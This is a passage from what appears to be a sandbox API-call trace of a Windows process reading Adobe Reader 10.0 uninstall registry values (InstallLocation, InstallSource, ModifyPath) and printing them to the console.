lpUsedDefaultChar=0x0 | out: lpMultiByteStr="20170630", lpUsedDefaultChar=0x0) returned 8 [0150.324] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0150.324] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.324] __iob_func () returned 0x7fefd702a80 [0150.324] _fileno (_File=0x7fefd702ab0) returned 1 [0150.324] _errno () returned 0x204bb0 [0150.324] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.324] _errno () returned 0x204bb0 [0150.324] GetFileType (hFile=0x50) returned 0x1 [0150.324] lstrlenW (lpString="\n") returned 1 [0150.324] GetConsoleOutputCP () returned 0x1b5 [0150.324] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.324] GetConsoleOutputCP () returned 0x1b5 [0150.324] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.324] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.324] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.324] GetProcessHeap () returned 0x3c0000 [0150.324] GetProcessHeap () returned 0x3c0000 [0150.324] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0150.325] GetProcessHeap () returned 0x3c0000 [0150.325] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x16 [0150.325] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0150.325] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallLocation", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.325] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x64) returned 0x0 [0150.325] GetProcessHeap () returned 0x3c0000 [0150.325] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x66) returned 0x3db830 [0150.325] GetProcessHeap () returned 0x3c0000 [0150.325] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.325] GetProcessHeap () returned 0x3c0000 [0150.325] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x66 [0150.325] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x64 | out: pdwType=0x29f700*=0x1, pvData="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\", pcbData=0x29f780*=0x62) returned 0x0 [0150.325] __iob_func () returned 0x7fefd702a80 [0150.325] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.325] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.325] _fileno (_File=0x7fefd702ab0) returned 1 [0150.325] _errno () returned 0x204bb0 [0150.325] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.325] _errno () returned 0x204bb0 [0150.325] GetFileType (hFile=0x50) returned 0x1 [0150.325] lstrlenW (lpString=" ") returned 4 [0150.325] GetConsoleOutputCP () returned 0x1b5 [0150.325] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.325] GetConsoleOutputCP () returned 0x1b5 [0150.325] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.325] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.326] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.326] lstrlenW (lpString="InstallLocation") returned 15 [0150.326] __iob_func () returned 0x7fefd702a80 [0150.326] _fileno (_File=0x7fefd702ab0) returned 1 [0150.326] _errno () returned 0x204bb0 [0150.326] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.326] _errno () returned 0x204bb0 [0150.326] GetFileType (hFile=0x50) returned 0x1 [0150.326] lstrlenW (lpString="InstallLocation") returned 15 [0150.326] GetConsoleOutputCP () returned 0x1b5 [0150.326] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0150.326] GetConsoleOutputCP () returned 0x1b5 [0150.326] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallLocation", lpUsedDefaultChar=0x0) returned 15 [0150.326] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0150.326] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.326] __iob_func () returned 0x7fefd702a80 [0150.326] _fileno (_File=0x7fefd702ab0) returned 1 [0150.326] _errno () returned 0x204bb0 [0150.326] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.326] _errno () returned 0x204bb0 [0150.326] GetFileType (hFile=0x50) returned 0x1 [0150.326] lstrlenW (lpString=" ") returned 4 [0150.326] GetConsoleOutputCP () returned 0x1b5 [0150.327] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.327] GetConsoleOutputCP () returned 0x1b5 [0150.327] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.327] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.327] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.327] __iob_func () returned 0x7fefd702a80 [0150.327] _fileno (_File=0x7fefd702ab0) returned 1 [0150.327] _errno () returned 0x204bb0 [0150.327] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.327] _errno () returned 0x204bb0 [0150.327] GetFileType (hFile=0x50) returned 0x1 [0150.327] lstrlenW (lpString="REG_SZ") returned 6 [0150.327] GetConsoleOutputCP () returned 0x1b5 [0150.327] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.327] GetConsoleOutputCP () returned 0x1b5 [0150.327] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.327] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.327] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.327] __iob_func () returned 0x7fefd702a80 [0150.327] _fileno (_File=0x7fefd702ab0) returned 1 [0150.327] _errno () returned 0x204bb0 [0150.327] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.328] _errno () returned 0x204bb0 [0150.328] GetFileType (hFile=0x50) returned 0x1 [0150.328] lstrlenW (lpString=" ") returned 4 [0150.328] GetConsoleOutputCP () returned 0x1b5 [0150.328] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.328] GetConsoleOutputCP () returned 0x1b5 [0150.328] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.328] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.328] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.328] __iob_func () returned 0x7fefd702a80 [0150.328] _fileno (_File=0x7fefd702ab0) returned 1 [0150.328] _errno () returned 0x204bb0 [0150.328] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.328] _errno () returned 0x204bb0 [0150.328] GetFileType (hFile=0x50) returned 0x1 [0150.328] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned 48 [0150.328] GetConsoleOutputCP () returned 0x1b5 [0150.328] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\", cchWideChar=48, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 48 [0150.328] GetConsoleOutputCP () returned 0x1b5 [0150.328] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\", cchWideChar=48, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\", lpUsedDefaultChar=0x0) returned 48 [0150.328] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 48 [0150.329] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.329] __iob_func () returned 0x7fefd702a80 [0150.329] _fileno (_File=0x7fefd702ab0) returned 1 [0150.329] _errno () returned 0x204bb0 [0150.329] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.329] _errno () returned 0x204bb0 [0150.329] GetFileType (hFile=0x50) returned 0x1 [0150.329] lstrlenW (lpString="\n") returned 1 [0150.329] GetConsoleOutputCP () returned 0x1b5 [0150.329] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.329] GetConsoleOutputCP () returned 0x1b5 [0150.329] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.329] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.329] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.329] GetProcessHeap () returned 0x3c0000 [0150.329] GetProcessHeap () returned 0x3c0000 [0150.329] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.329] GetProcessHeap () returned 0x3c0000 [0150.329] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x66 [0150.330] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0150.330] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallSource", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.330] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xa) returned 0x0 [0150.330] GetProcessHeap () returned 0x3c0000 [0150.330] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xc) returned 0x3df290 [0150.330] GetProcessHeap () returned 0x3c0000 [0150.330] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0150.330] GetProcessHeap () returned 0x3c0000 [0150.330] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0xc [0150.330] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0xa | out: pdwType=0x29f700*=0x1, pvData="E:\\", pcbData=0x29f780*=0x8) returned 0x0 [0150.330] __iob_func () returned 0x7fefd702a80 [0150.330] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.330] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.330] _fileno (_File=0x7fefd702ab0) returned 1 [0150.330] _errno () returned 0x204bb0 [0150.330] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.330] _errno () returned 0x204bb0 [0150.330] GetFileType (hFile=0x50) returned 0x1 [0150.330] lstrlenW (lpString=" ") returned 4 [0150.330] GetConsoleOutputCP () returned 0x1b5 [0150.330] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.330] GetConsoleOutputCP () returned 0x1b5 [0150.330] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.330] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.330] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.331] lstrlenW (lpString="InstallSource") returned 13 [0150.331] __iob_func () returned 0x7fefd702a80 [0150.331] _fileno (_File=0x7fefd702ab0) returned 1 [0150.331] _errno () returned 0x204bb0 [0150.331] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.331] _errno () returned 0x204bb0 [0150.331] GetFileType (hFile=0x50) returned 0x1 [0150.331] lstrlenW (lpString="InstallSource") returned 13 [0150.331] GetConsoleOutputCP () returned 0x1b5 [0150.331] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.331] GetConsoleOutputCP () returned 0x1b5 [0150.331] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallSource", lpUsedDefaultChar=0x0) returned 13 [0150.331] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.331] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.331] __iob_func () returned 0x7fefd702a80 [0150.331] _fileno (_File=0x7fefd702ab0) returned 1 [0150.331] _errno () returned 0x204bb0 [0150.331] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.331] _errno () returned 0x204bb0 [0150.331] GetFileType (hFile=0x50) returned 0x1 [0150.331] lstrlenW (lpString=" ") returned 4 [0150.331] GetConsoleOutputCP () returned 0x1b5 [0150.331] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.332] GetConsoleOutputCP () returned 0x1b5 [0150.332] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.332] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.332] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.332] __iob_func () returned 0x7fefd702a80 [0150.332] _fileno (_File=0x7fefd702ab0) returned 1 [0150.332] _errno () returned 0x204bb0 [0150.332] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.332] _errno () returned 0x204bb0 [0150.332] GetFileType (hFile=0x50) returned 0x1 [0150.332] lstrlenW (lpString="REG_SZ") returned 6 [0150.332] GetConsoleOutputCP () returned 0x1b5 [0150.332] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.332] GetConsoleOutputCP () returned 0x1b5 [0150.332] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.332] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.332] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.332] __iob_func () returned 0x7fefd702a80 [0150.332] _fileno (_File=0x7fefd702ab0) returned 1 [0150.332] _errno () returned 0x204bb0 [0150.332] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.332] _errno () returned 0x204bb0 [0150.332] GetFileType (hFile=0x50) returned 0x1 [0150.333] lstrlenW (lpString=" ") returned 4 [0150.333] GetConsoleOutputCP () returned 0x1b5 [0150.333] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.333] GetConsoleOutputCP () returned 0x1b5 [0150.333] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.333] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.333] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.333] __iob_func () returned 0x7fefd702a80 [0150.333] _fileno (_File=0x7fefd702ab0) returned 1 [0150.333] _errno () returned 0x204bb0 [0150.333] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.333] _errno () returned 0x204bb0 [0150.333] GetFileType (hFile=0x50) returned 0x1 [0150.333] lstrlenW (lpString="E:\\") returned 3 [0150.333] GetConsoleOutputCP () returned 0x1b5 [0150.333] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="E:\\", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.333] GetConsoleOutputCP () returned 0x1b5 [0150.333] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="E:\\", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="E:\\", lpUsedDefaultChar=0x0) returned 3 [0150.333] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.333] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.334] __iob_func () returned 0x7fefd702a80 [0150.334] _fileno (_File=0x7fefd702ab0) returned 1 [0150.334] _errno () returned 0x204bb0 [0150.334] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.334] _errno () returned 0x204bb0 [0150.334] GetFileType (hFile=0x50) returned 0x1 [0150.334] lstrlenW (lpString="\n") returned 1 [0150.334] GetConsoleOutputCP () returned 0x1b5 [0150.334] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.334] GetConsoleOutputCP () returned 0x1b5 [0150.334] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.334] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.334] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.334] GetProcessHeap () returned 0x3c0000 [0150.334] GetProcessHeap () returned 0x3c0000 [0150.334] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0150.334] GetProcessHeap () returned 0x3c0000 [0150.334] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0xc [0150.334] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0150.334] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="ModifyPath", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.334] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x6a) returned 0x0 [0150.334] GetProcessHeap () returned 0x3c0000 [0150.335] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6c) returned 0x3db830 [0150.335] GetProcessHeap () returned 0x3c0000 [0150.335] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.335] GetProcessHeap () returned 0x3c0000 [0150.335] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0150.335] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x6a | out: pdwType=0x29f700*=0x2, pvData="MsiExec.exe /I{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", pcbData=0x29f780*=0x6a) returned 0x0 [0150.335] __iob_func () returned 0x7fefd702a80 [0150.335] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.335] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.335] _fileno (_File=0x7fefd702ab0) returned 1 [0150.335] _errno () returned 0x204bb0 [0150.335] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.335] _errno () returned 0x204bb0 [0150.335] GetFileType (hFile=0x50) returned 0x1 [0150.335] lstrlenW (lpString=" ") returned 4 [0150.335] GetConsoleOutputCP () returned 0x1b5 [0150.335] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.335] GetConsoleOutputCP () returned 0x1b5 [0150.335] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.335] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.335] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.335] lstrlenW (lpString="ModifyPath") returned 10 [0150.335] __iob_func () returned 0x7fefd702a80 [0150.335] _fileno (_File=0x7fefd702ab0) returned 1 [0150.335] _errno () returned 0x204bb0 [0150.335] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.335] _errno () returned 0x204bb0 [0150.335] GetFileType (hFile=0x50) returned 0x1 [0150.336] lstrlenW (lpString="ModifyPath") returned 10 [0150.336] GetConsoleOutputCP () returned 0x1b5 [0150.337] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0150.337] GetConsoleOutputCP () returned 0x1b5 [0150.337] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ModifyPath", lpUsedDefaultChar=0x0) returned 10 [0150.337] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0150.337] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.337] __iob_func () returned 0x7fefd702a80 [0150.337] _fileno (_File=0x7fefd702ab0) returned 1 [0150.338] _errno () returned 0x204bb0 [0150.338] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.338] _errno () returned 0x204bb0 [0150.338] GetFileType (hFile=0x50) returned 0x1 [0150.338] lstrlenW (lpString=" ") returned 4 [0150.338] GetConsoleOutputCP () returned 0x1b5 [0150.338] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 